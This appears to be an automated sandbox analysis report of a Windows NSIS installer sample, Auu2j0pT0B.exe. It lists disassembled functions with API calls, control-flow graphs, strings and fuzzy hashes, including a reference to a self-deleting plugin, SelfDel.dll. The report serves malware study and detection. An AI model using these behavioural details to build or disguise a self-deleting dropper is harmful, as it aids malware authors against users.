                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                    • String ID: C:\Users\user\AppData\Local\Temp\$\*.*$pB
                    • API String ID: 2035342205-1746305512
                    • Opcode ID: bc80552e2adf98b6cbbc0c73f9d9449be503fe2b945a8ee0ce3316eb6b08af02
                    • Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
                    • Opcode Fuzzy Hash: bc80552e2adf98b6cbbc0c73f9d9449be503fe2b945a8ee0ce3316eb6b08af02
                    • Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE
                    Function 004068D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 582 4068d4-4068e8 FindFirstFileW 583 4068f5 582->583 584 4068ea-4068f3 FindClose 582->584 585 4068f7-4068f8 583->585 584->585
                    APIs
                    • FindFirstFileW.KERNELBASE(75923420,0042FAB8,C:\,00405F97,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
                    • FindClose.KERNEL32(00000000), ref: 004068EB
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Find$CloseFileFirst
                    • String ID: C:\
                    • API String ID: 2295610775-3404278061
                    • Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
                    • Instruction ID: 1cf04926a4a3889f6b92b588199f87985a57aa1d1812818edfb9113e4ef6e03f
                    • Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
                    • Instruction Fuzzy Hash: 53D012725162209BC240673CBD0C84B7A58AF253317518A3AF46AF61E0DB348C639699
                    Function 00403C49 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215stringregistryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 149 403c49-403c61 call 40696b 152 403c63-403c73 call 4064be 149->152 153 403c75-403cac call 406445 149->153 161 403ccf-403cf8 call 403f1f call 405f4e 152->161 157 403cc4-403cca lstrcatW 153->157 158 403cae-403cbf call 406445 153->158 157->161 158->157 167 403d8a-403d92 call 405f4e 161->167 168 403cfe-403d03 161->168 173 403da0-403dc5 LoadImageW 167->173 174 403d94-403d9b call 4065b4 167->174 168->167 169 403d09-403d31 call 406445 168->169 169->167 179 403d33-403d37 169->179 177 403e46-403e4e call 40140b 173->177 178 403dc7-403df7 RegisterClassW 173->178 174->173 192 403e50-403e53 177->192 193 403e58-403e63 call 403f1f 177->193 182 403f15 178->182 183 403dfd-403e41 SystemParametersInfoW CreateWindowExW 178->183 180 403d49-403d55 lstrlenW 179->180 181 403d39-403d46 call 405e73 179->181 187 403d57-403d65 lstrcmpiW 180->187 188 403d7d-403d85 call 405e46 call 406577 180->188 181->180 186 403f17-403f1e 182->186 183->177 187->188 191 403d67-403d71 GetFileAttributesW 187->191 188->167 195 403d73-403d75 191->195 196 403d77-403d78 call 405e92 191->196 192->186 202 403e69-403e83 ShowWindow call 4068fb 193->202 203 403eec-403ef4 call 4056cf 193->203 195->188 195->196 196->188 210 403e85-403e8a call 4068fb 202->210 211 403e8f-403ea1 GetClassInfoW 202->211 208 403ef6-403efc 203->208 209 403f0e-403f10 call 40140b 203->209 208->192 216 403f02-403f09 call 40140b 208->216 209->182 210->211 214 403ea3-403eb3 GetClassInfoW RegisterClassW 211->214 215 403eb9-403eea DialogBoxParamW call 40140b call 403b99 211->215 214->215 215->186 216->192
                    APIs
                      • Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
                      • Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998
                    • lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0043F000,00008001), ref: 00403CCA
                    • lstrlenW.KERNEL32(Del,?,?,?,Del,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75923420), ref: 00403D4A
                    • lstrcmpiW.KERNEL32(?,.exe,Del,?,?,?,Del,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
                    • GetFileAttributesW.KERNEL32(Del), ref: 00403D68
                    • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403DB1
                      • Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB
                    • RegisterClassW.USER32(004336A0), ref: 00403DEE
                    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
                    • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
                    • ShowWindow.USER32(00000005,00000000), ref: 00403E71
                    • GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
                    • GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
                    • RegisterClassW.USER32(004336A0), ref: 00403EB3
                    • DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                    • String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Del$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                    • API String ID: 1975747703-1286632229
                    • Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
                    • Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
                    • Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
                    • Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D
                    Function 004030A2 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 223 4030a2-4030f0 GetTickCount GetModuleFileNameW call 406067 226 4030f2-4030f7 223->226 227 4030fc-40312a call 406577 call 405e92 call 406577 GetFileSize 223->227 228 4032d2-4032d6 226->228 235 403130 227->235 236 403215-403223 call 40303e 227->236 237 403135-40314c 235->237 242 403225-403228 236->242 243 403278-40327d 236->243 239 403150-403159 call 4034f4 237->239 240 40314e 237->240 249 40327f-403287 call 40303e 239->249 250 40315f-403166 239->250 240->239 245 40322a-403242 call 40350a call 4034f4 242->245 246 40324c-403276 GlobalAlloc call 40350a call 4032d9 242->246 243->228 245->243 269 403244-40324a 245->269 246->243 274 403289-40329a 246->274 249->243 253 4031e2-4031e6 250->253 254 403168-40317c call 406022 250->254 258 4031f0-4031f6 253->258 259 4031e8-4031ef call 40303e 253->259 254->258 272 40317e-403185 254->272 265 403205-40320d 258->265 266 4031f8-403202 call 406a58 258->266 259->258 265->237 273 403213 265->273 266->265 269->243 269->246 272->258 278 403187-40318e 272->278 273->236 275 4032a2-4032a7 274->275 276 40329c 274->276 279 4032a8-4032ae 275->279 276->275 278->258 280 403190-403197 278->280 279->279 281 4032b0-4032cb SetFilePointer call 406022 279->281 280->258 282 403199-4031a0 280->282 285 4032d0 281->285 282->258 284 4031a2-4031c2 282->284 284->243 286 4031c8-4031cc 284->286 285->228 287 4031d4-4031dc 286->287 288 4031ce-4031d2 286->288 287->258 289 4031de-4031e0 287->289 288->273 288->287 289->258
                    APIs
                    • GetTickCount.KERNEL32 ref: 004030B3
                    • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Auu2j0pT0B.exe,00000400), ref: 004030CF
                      • Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 0040606B
                      • Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D
                    • GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Auu2j0pT0B.exe,C:\Users\user\Desktop\Auu2j0pT0B.exe,80000000,00000003), ref: 0040311B
                    • GlobalAlloc.KERNELBASE(00000040,?), ref: 00403251
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                    • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Auu2j0pT0B.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                    • API String ID: 2803837635-1242515199
                    • Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
                    • Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
                    • Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
                    • Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD
                    Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 354 4032d9-4032f0 355 4032f2 354->355 356 4032f9-403302 354->356 355->356 357 403304 356->357 358 40330b-403310 356->358 357->358 359 403320-40332d call 4034f4 358->359 360 403312-40331b call 40350a 358->360 364 4034e2 359->364 365 403333-403337 359->365 360->359 366 4034e4-4034e5 364->366 367 40348d-40348f 365->367 368 40333d-403386 GetTickCount 365->368 371 4034ed-4034f1 366->371 369 403491-403494 367->369 370 4034cf-4034d2 367->370 372 4034ea 368->372 373 40338c-403394 368->373 369->372 376 403496 369->376 374 4034d4 370->374 375 4034d7-4034e0 call 4034f4 370->375 372->371 377 403396 373->377 378 403399-4033a7 call 4034f4 373->378 374->375 375->364 387 4034e7 375->387 380 403499-40349f 376->380 377->378 378->364 386 4033ad-4033b6 378->386 384 4034a1 380->384 385 4034a3-4034b1 call 4034f4 380->385 384->385 385->364 391 4034b3-4034bf call 406119 385->391 389 4033bc-4033dc call 406ac6 386->389 387->372 396 4033e2-4033f5 GetTickCount 389->396 397 403485-403487 389->397 398 4034c1-4034cb 391->398 399 403489-40348b 391->399 400 403440-403442 396->400 401 4033f7-4033ff 396->401 397->366 398->380 402 4034cd 398->402 399->366 405 403444-403448 400->405 406 403479-40347d 400->406 403 403401-403405 401->403 404 403407-40343d MulDiv wsprintfW call 4055fc 401->404 402->372 403->400 403->404 404->400 409 40344a-403451 call 406119 405->409 410 40345f-40346a 405->410 406->373 407 403483 406->407 407->372 415 403456-403458 409->415 411 40346d-403471 410->411 411->389 414 403477 411->414 414->372 415->399 416 40345a-40345d 415->416 416->411
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CountTick$wsprintf
                    • String ID: *B$ >B$ A$ A$... %d%%
                    • API String ID: 551687249-3801301222
                    • Opcode ID: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
                    • Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
                    • Opcode Fuzzy Hash: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
                    • Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9
                    Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145stringtimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 417 401794-4017b9 call 402dcb call 405ebd 422 4017c3-4017d5 call 406577 call 405e46 lstrcatW 417->422 423 4017bb-4017c1 call 406577 417->423 428 4017da-4017db call 406825 422->428 423->428 432 4017e0-4017e4 428->432 433 4017e6-4017f0 call 4068d4 432->433 434 401817-40181a 432->434 441 401802-401814 433->441 442 4017f2-401800 CompareFileTime 433->442 436 401822-40183e call 406067 434->436 437 40181c-40181d call 406042 434->437 444 401840-401843 436->444 445 4018b2-4018db call 4055fc call 4032d9 436->445 437->436 441->434 442->441 447 401894-40189e call 4055fc 444->447 448 401845-401883 call 406577 * 2 call 4065b4 call 406577 call 405bd7 444->448 459 4018e3-4018ef SetFileTime 445->459 460 4018dd-4018e1 445->460 457 4018a7-4018ad 447->457 448->432 480 401889-40188a 448->480 461 402c58 457->461 463 4018f5-401900 CloseHandle 459->463 460->459 460->463 467 402c5a-402c5e 461->467 465 401906-401909 463->465 466 402c4f-402c52 463->466 469 40190b-40191c call 4065b4 lstrcatW 465->469 470 40191e-401921 call 4065b4 465->470 466->461 476 401926-4023c7 call 405bd7 469->476 470->476 476->467 483 402953-40295a 476->483 480->457 482 40188c-40188d 480->482 482->447 483->466
                    APIs
                    • lstrcatW.KERNEL32(00000000,00000000,Del,C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,?,?,00000031), ref: 004017D5
                    • CompareFileTime.KERNEL32(-00000014,?,Del,Del,00000000,00000000,Del,C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,?,?,00000031), ref: 004017FA
                      • Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
                      • Part of subcall function 004055FC: lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,00423E20,759223A0), ref: 00405657
                      • Part of subcall function 004055FC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp$C:\Users\user\AppData\Local\Temp\nsx4F86.tmp$C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dll$Del
                    • API String ID: 1941528284-3010751508
                    • Opcode ID: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
                    • Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
                    • Opcode Fuzzy Hash: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
                    • Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D
                    Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 484 4068fb-40691b GetSystemDirectoryW 485 40691d 484->485 486 40691f-406921 484->486 485->486 487 406932-406934 486->487 488 406923-40692c 486->488 490 406935-406968 wsprintfW LoadLibraryExW 487->490 488->487 489 40692e-406930 488->489 489->490
                    APIs
                    • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
                    • wsprintfW.USER32 ref: 0040694D
                    • LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: DirectoryLibraryLoadSystemwsprintf
                    • String ID: %s%S.dll$UXTHEME
                    • API String ID: 2200240437-1106614640
                    • Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
                    • Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
                    • Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
                    • Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98
                    Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 491 4024af-4024e0 call 402dcb * 2 call 402e5b 498 4024e6-4024f0 491->498 499 402c4f-402c5e 491->499 501 4024f2-4024ff call 402dcb lstrlenW 498->501 502 402503-402506 498->502 501->502 503 402508-402519 call 402da9 502->503 504 40251a-40251d 502->504 503->504 508 40252e-402542 RegSetValueExW 504->508 509 40251f-402529 call 4032d9 504->509 513 402544 508->513 514 402547-402628 RegCloseKey 508->514 509->508 513->514 514->499 516 402953-40295a 514->516 516->499
                    APIs
                    • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,00000023,00000011,00000002), ref: 004024FA
                    • RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,00000000,00000011,00000002), ref: 0040253A
                    • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsx4F86.tmp,00000000,00000011,00000002), ref: 00402622
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CloseValuelstrlen
                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp
                    • API String ID: 2655323295-2788028680
                    • Opcode ID: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
                    • Instruction ID: 9ef1a868ac7dccf2a0d827ba333ec8444b87bd6dca13d8647f6a5f0896484b93
                    • Opcode Fuzzy Hash: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
                    • Instruction Fuzzy Hash: DF11B131D00119BEEF00AFA1DE4AAAEB6B4EF44318F20443FF404B61D1D7B88E009A68
                    Function 00405F4E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 517 405f4e-405f69 call 406577 call 405ef1 522 405f6b-405f6d 517->522 523 405f6f-405f7c call 406825 517->523 524 405fc7-405fc9 522->524 527 405f8c-405f90 523->527 528 405f7e-405f84 523->528 530 405fa6-405faf lstrlenW 527->530 528->522 529 405f86-405f8a 528->529 529->522 529->527 531 405fb1-405fc5 call 405e46 GetFileAttributesW 530->531 532 405f92-405f99 call 4068d4 530->532 531->524 537 405fa0-405fa1 call 405e92 532->537 538 405f9b-405f9e 532->538 537->530 538->522 538->537
                    APIs
                      • Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584
                      • Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\,?,00405F65,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EFF
                      • Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
                      • Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C
                    • lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405FA7
                    • GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405FB7
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharNext$AttributesFilelstrcpynlstrlen
                    • String ID: C:\$C:\Users\user\AppData\Local\Temp\
                    • API String ID: 3248276644-1964270705
                    • Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
